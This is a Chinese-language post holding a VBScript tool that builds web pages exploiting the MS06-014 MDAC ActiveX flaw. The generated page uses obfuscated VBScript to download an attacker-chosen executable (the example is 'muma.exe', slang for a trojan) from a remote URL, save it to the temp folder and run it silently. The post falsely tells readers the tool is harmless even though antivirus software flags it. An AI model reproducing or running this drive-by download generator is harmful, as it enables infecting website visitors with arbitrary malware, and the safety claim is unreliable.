ms06014网页木马生成器（VBS）

该工具会被有的杀毒软件列为病毒,放心用好了,无害.

If Wscript.Arguments.Count = 0 Then
usage
WScript.quit
End If

dama= "on error resume next"&vbcrlf&"dl = "&chr(34)&Wscript.Arguments(1)&Wscript.Arguments(2)&chr(34)&vbcrlf&"Set df = document.createElement("&chr(34)&"object"&chr(34)&")"&vbcrlf&"df.setAttribute" &chr(34)&"classid"&chr(34)&", "&chr(34)&"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"&chr(34)&vbcrlf&"Set x = df.CreateObject("&chr(34)&"Microsoft.XMLHTTP"&chr(34)&","&chr(34)&chr(34)&")"&vbcrlf&   "set S = df.createobject("&chr(34)&"Adodb.Stream"&chr(34)&","&chr(34)&chr(34)&")"&vbcrlf&"S.type = 1"&vbcrlf&"str6="&chr(34)&"GET"&chr(34)&vbcrlf&"x.Open str6, dl, False"&vbcrlf&"x.Send"&vbcrlf&" fname1="&chr(34)&Wscript.Arguments(2)&chr(34)&vbcrlf& "set F = df.createobject("&chr(34)&"Scripting.FileSystemObject"&chr(34)&","&chr(34)&chr(34)&")"&vbcrlf& "set tmp = F.GetSpecialFolder(2)"&vbcrlf&"fname1= F.BuildPath(tmp,fname1)"&vbcrlf&"S.open"&vbcrlf& "S.write x.responseBody"&vbcrlf&"S.savetofile fname1,2"&vbcrlf&"S.close"&vbcrlf&"set Q = df.createobject("&chr(34)&"Shell.Application"&chr(34)&","&chr(34)&chr(34)&")"&vbcrlf& "Q.ShellExecute fname1,"&chr(34)&chr(34)&","&chr(34)&chr(34)&","&chr(34)&"open"&chr(34)&",0"&vbcrlf

action=lcase(trim(Wscript.Arguments(0)))

select case action
  Case "enc"
 enc
 case Else
 usage
end Select

function change(k)
s=""
for i = 1 to len(k)
s=s&asc(mid(k,i,1))&","
next
change=left(s,len(s)-1)
end function

function enc()
s="function rechange(k)"+vbcrlf+"s=Split(k,"","")"+vbcrlf+"t="""""+vbcrlf+"For i = 0 To UBound(s)"+vbcrlf+"t=t+Chr(eval(s(i)))"+vbcrlf+"Next"+vbcrlf+"rechange=t"+vbcrlf+"End Function"+vbcrlf+"t="""+change(dama)+""""+vbcrlf+"execute(rechange(t))"
dama=s
Set objFSO = CreateObject("Scripting.FileSystemObject")
set ms06014=objFSO.OpenTextFile(Wscript.Arguments(3),8,True,0)
ms06014.WriteLine("<script language="&Chr(34)&"VBScript"&Chr(34)&">"&vbcrlf&dama&vbcrlf&"</script>")
ms06014.close
set objFSO = nothing
End function

function usage()
 wscript.echo "Thanks chongchong | code by myvbscript|2006.9.24"
 wscript.echo "   cscript.exe " &wscript.scriptname&" enc "&" url"& "muma" & "drive:\name.html"
 wscript.echo " EX:  cscript.exe " &wscript.scriptname&" enc" &" http://www.xxx.com/muma/" &" muma.exe" & " c:\1.html"
 WScript.quit
end Function